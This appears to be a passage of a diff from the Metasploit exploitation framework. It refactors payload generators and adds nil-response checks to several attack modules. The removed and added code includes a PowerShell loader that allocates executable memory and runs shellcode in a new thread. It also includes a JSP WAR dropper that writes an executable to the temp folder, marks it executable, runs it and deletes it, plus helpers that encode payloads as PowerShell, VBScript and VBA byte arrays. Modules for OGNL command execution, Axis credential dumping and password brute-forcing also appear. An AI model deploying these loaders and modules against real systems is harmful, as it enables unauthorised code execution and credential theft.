var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "Set-StrictMode -Version 2\r\n"
|
||||
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
|
||||
psh << "namespace #{var_kernel32} {\r\n"
|
||||
psh << "public class func {\r\n"
|
||||
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
|
||||
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
|
||||
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
|
||||
psh << "} }\r\n"
|
||||
psh << "\"@\r\n\r\n"
|
||||
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
|
||||
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
|
||||
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
|
||||
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
|
||||
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
|
||||
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
|
||||
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
|
||||
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
|
||||
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
|
||||
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
|
||||
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
|
||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
code = code.unpack("C*")
|
||||
|
||||
# Add wrapper script
|
||||
psh = "$#{var_code} = @\"\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
|
||||
psh << "[DllImport(\"kernel32.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
|
||||
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
|
||||
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
|
||||
psh << "\"@\r\n"
|
||||
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
|
||||
# Set up the payload string
|
||||
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
psh << lines.join("") + "\r\n\r\n"
|
||||
psh << "$#{var_size} = 0x1000\r\n"
|
||||
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
|
||||
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
|
||||
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
|
||||
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts={})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_asp(framework, code, opts={})
|
||||
to_exe_asp(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_aspx(framework, code, opts={})
|
||||
to_exe_aspx(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
||||
# Creates a jar file that drops the provided +exe+ into a random file name
|
||||
# in the system's temp dir and executes it.
|
||||
#
|
||||
|
@ -1401,7 +1117,7 @@ End Sub
|
|||
web_xml.gsub!(/PAYLOAD/, jsp_name)
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file('META-INF/', nil, meta_inf)
|
||||
zip.add_file('META-INF/', '', meta_inf)
|
||||
zip.add_file('META-INF/MANIFEST.MF', manifest)
|
||||
zip.add_file('WEB-INF/', '')
|
||||
zip.add_file('WEB-INF/web.xml', web_xml)
|
||||
|
@ -1430,73 +1146,24 @@ End Sub
|
|||
def self.to_jsp_war(exe, opts={})
|
||||
|
||||
# begin <payload>.jsp
|
||||
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
||||
jspraw << "<%\n"
|
||||
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
|
||||
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
||||
jspraw << "String #{var_data} = \"\";\n"
|
||||
|
||||
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
||||
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
||||
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
||||
|
||||
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
||||
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
||||
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
||||
jspraw << "#{var_inputstream}.close();\n"
|
||||
|
||||
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
||||
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
||||
jspraw << "{\n"
|
||||
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
||||
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
||||
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_comb} <<= 4;\n"
|
||||
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
||||
jspraw << "#{var_outputstream}.close();\n"
|
||||
|
||||
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
|
||||
jspraw << "String[] #{var_fperm} = new String[3];\n"
|
||||
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
|
||||
jspraw << "#{var_fperm}[1] = \"+x\";\n"
|
||||
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
|
||||
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
|
||||
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
|
||||
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
||||
jspraw << "}\n"
|
||||
# Linux and other UNICES allow removing files while they are in use...
|
||||
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
|
||||
jspraw << "} else {\n"
|
||||
# Windows does not ..
|
||||
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "%>\n"
|
||||
hash_sub = {}
|
||||
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
# Specify the payload in hex as an extra file..
|
||||
payload_hex = exe.unpack('H*')[0]
|
||||
|
@ -1504,11 +1171,13 @@ End Sub
|
|||
{
|
||||
:extra_files =>
|
||||
[
|
||||
[ "#{var_hexfile}.txt", payload_hex ]
|
||||
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
|
||||
]
|
||||
})
|
||||
|
||||
return self.to_war(jspraw, opts)
|
||||
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
|
||||
|
||||
return self.to_war(template, opts)
|
||||
end
|
||||
|
||||
# Creates a .NET DLL which loads data into memory
|
||||
|
@ -2049,10 +1718,12 @@ End Sub
|
|||
|
||||
case fmt
|
||||
when 'asp'
|
||||
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
|
||||
|
||||
when 'aspx'
|
||||
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
|
||||
|
||||
when 'dll'
|
||||
output = case arch
|
||||
|
@ -2128,14 +1799,16 @@ End Sub
|
|||
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
|
||||
|
||||
when 'vba-exe'
|
||||
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_vba(exe)
|
||||
|
||||
when 'vbs'
|
||||
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
|
||||
exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
|
||||
|
||||
when 'loop-vbs'
|
||||
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
|
||||
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
|
||||
output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
|
||||
|
||||
when 'war'
|
||||
arch ||= [ ARCH_X86 ]
|
||||
|
|
|
@ -198,6 +198,67 @@ module Text
|
|||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a raw string to a powershell byte array
|
||||
#
|
||||
def self.to_powershell(str, name = "buf")
|
||||
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
|
||||
|
||||
code = str.unpack('C*')
|
||||
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
buff << ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a raw string to a vbscript byte array
|
||||
#
|
||||
def self.to_vbscript(str, name = "buf")
|
||||
return "#{name}" if str.nil? or str.empty?
|
||||
|
||||
code = str.unpack('C*')
|
||||
buff = "#{name}=Chr(#{code[0]})"
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 100 == 0)
|
||||
buff << "\r\n#{name}=#{name}"
|
||||
end
|
||||
# exe is an Array of bytes, not a String, thanks to the unpack
|
||||
# above, so the following line is not subject to the different
|
||||
# treatments of String#[] between ruby 1.8 and 1.9
|
||||
buff << "&Chr(#{code[byte]})"
|
||||
end
|
||||
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a raw string into a vba buffer
|
||||
#
|
||||
def self.to_vbapplication(str, name = "buf")
|
||||
return "#{name} = Array()" if str.nil? or str.empty?
|
||||
|
||||
code = str.unpack('C*')
|
||||
buff = "#{name} = Array("
|
||||
maxbytes = 20
|
||||
|
||||
1.upto(code.length) do |idx|
|
||||
buff << code[idx].to_s
|
||||
buff << "," if idx < code.length - 1
|
||||
buff << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
|
||||
end
|
||||
|
||||
buff << ")\r\n"
|
||||
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a perl-style comment
|
||||
#
|
||||
|
|
|
@ -21,6 +21,10 @@ class Archive
|
|||
#
|
||||
# Create a new Entry and add it to the archive.
|
||||
#
|
||||
# If fdata is set, the file is populated with that data
|
||||
# from the calling method. If fdata is nil, then the
|
||||
# fs is checked for the file.
|
||||
#
|
||||
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
|
||||
if (not fdata)
|
||||
begin
|
||||
|
@ -32,7 +36,10 @@ class Archive
|
|||
ts = st.mtime
|
||||
if (st.directory?)
|
||||
attrs = EFA_ISDIR
|
||||
fname += '/'
|
||||
fdata = ''
|
||||
unless fname[-1,1] == '/'
|
||||
fname += '/'
|
||||
end
|
||||
else
|
||||
f = File.open(fname, 'rb')
|
||||
fdata = f.read(f.stat.size)
|
||||
|
|
|
@ -148,6 +148,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
}, 25)
|
||||
|
||||
if res.nil?
|
||||
print_error("Did not get a response from server")
|
||||
return
|
||||
end
|
||||
|
||||
raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0]
|
||||
print_line("\n" + Rex::Text.decode_base64(raw_data))
|
||||
|
||||
|
|
|
@ -67,10 +67,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'GET',
|
||||
}, 20)
|
||||
|
||||
if (res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
|
||||
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
|
||||
flag_found_one = index
|
||||
print_status("Found right index at [" + index.to_s + "] - exec")
|
||||
elsif (res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
|
||||
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
|
||||
print_status("Found right index at [" + index.to_s + "] - getRuntime")
|
||||
flag_found_two = index
|
||||
else
|
||||
|
@ -90,7 +90,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'GET',
|
||||
}, 20)
|
||||
|
||||
if (res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
|
||||
|
||||
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
|
||||
print_status("Exploited successfully")
|
||||
else
|
||||
print_status("Exploit failed.")
|
||||
|
|
|
@ -99,8 +99,15 @@ class Metasploit4 < Msf::Auxiliary
|
|||
},25)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e.message)
|
||||
return
|
||||
end
|
||||
|
||||
if file.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if ((counter.to_f/queue.length.to_f)*100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
|
||||
|
@ -108,6 +115,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
|
||||
end
|
||||
|
||||
# file can be nil
|
||||
case file.headers['Content-Type']
|
||||
when 'text/html'
|
||||
case file.body
|
||||
|
|
|
@ -14,7 +14,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'TYPO3 Winstaller default Encryption Keys',
|
||||
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
|
||||
'Description' => %q{
|
||||
This module exploits known default encryption keys found in the TYPO3 Winstaller.
|
||||
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
|
||||
|
|
|
@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
|
||||
sessionid = res.headers['Set-Cookie'].split(';')[0]
|
||||
|
||||
|
|
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
|
||||
sessionid = res.headers['Set-Cookie'].split(';')[0]
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]),
|
||||
OptString.new('YEAR', [ false, "Year to look up", ""]),
|
||||
OptInt.new('YEAR', [ false, "Year to look up"]),
|
||||
OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]),
|
||||
OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]),
|
||||
OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]),
|
||||
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
loot = ""
|
||||
uri = "/"
|
||||
uri << (datastore['YEAR']) if datastore['YEAR'] != ""
|
||||
uri << (datastore['YEAR']).to_s if datastore['YEAR'].to_s != ""
|
||||
uri << ("/companies/" + datastore['CW_ID'])
|
||||
|
||||
res = send_request_cgi({
|
||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]),
|
||||
OptString.new('YEAR', [ false, "Limit results to a specific year", ""]),
|
||||
OptInt.new('YEAR', [ false, "Limit results to a specific year"]),
|
||||
OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]),
|
||||
OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]),
|
||||
], self.class)
|
||||
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
datastore['RPORT'] = 80
|
||||
|
||||
uri = "/"
|
||||
uri << (datastore['YEAR'] + "/") if datastore['YEAR'] != ""
|
||||
uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != ""
|
||||
uri << "companies.xml"
|
||||
|
||||
res = send_request_cgi(
|
||||
|
|
|
@ -42,6 +42,12 @@ end
|
|||
def run
|
||||
connect
|
||||
res = send_request_cgi({'uri' => '/ip', 'method' => 'GET' })
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
our_addr = res.body.strip
|
||||
if Rex::Socket.is_ipv4?(our_addr) or Rex::Socket.is_ipv6?(our_addr)
|
||||
print_good("Source ip to #{rhost} is #{our_addr}")
|
||||
|
|
|
@ -84,7 +84,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status("#{target_url} - Apache Axis - Dumping administrative credentials")
|
||||
|
||||
if (res and res.code == 200)
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if (res.code == 200)
|
||||
if res.body.to_s.match(/axisconfig/)
|
||||
|
||||
res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
|
||||
|
|
|
@ -63,7 +63,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => uri + payload,
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200 and res.body)
|
||||
if res.nil?
|
||||
print_error("#{target_url} - Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if (res.code == 200 and res.body)
|
||||
if res.body.match(/\<html\>(.*)\<\/html\>/im)
|
||||
html = $1
|
||||
|
||||
|
|
|
@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => webdav_req + "\r\n\r\n",
|
||||
}, 20)
|
||||
|
||||
if (res.code.to_i == 207)
|
||||
if (res and res.code.to_i == 207)
|
||||
print_status("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})")
|
||||
|
||||
# Unable to use report_web_vuln as method is PROPFIND and is not part of allowed
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def get_sid_token
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri.path
|
||||
'uri' => normalize_uri(@uri.path)
|
||||
})
|
||||
|
||||
return [nil, nil] if not (res and res.headers['Set-Cookie'])
|
||||
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "#{@uri.path}index.php",
|
||||
'uri' => normalize_uri("#{@uri.path}index.php"),
|
||||
'cookie' => sid,
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
|
@ -92,6 +92,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :abort
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{@peer} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
|
||||
location = res.headers['Location']
|
||||
if res and res.headers and (location = res.headers['Location']) and location =~ /admin\//
|
||||
print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
|
||||
|
@ -112,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
@uri = target_uri.path
|
||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
|
|
|
@ -29,8 +29,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
#Set to false to prevent account lockouts - it will!
|
||||
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
|
||||
OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']),
|
||||
OptPath.new(
|
||||
'USERPASS_FILE',
|
||||
|
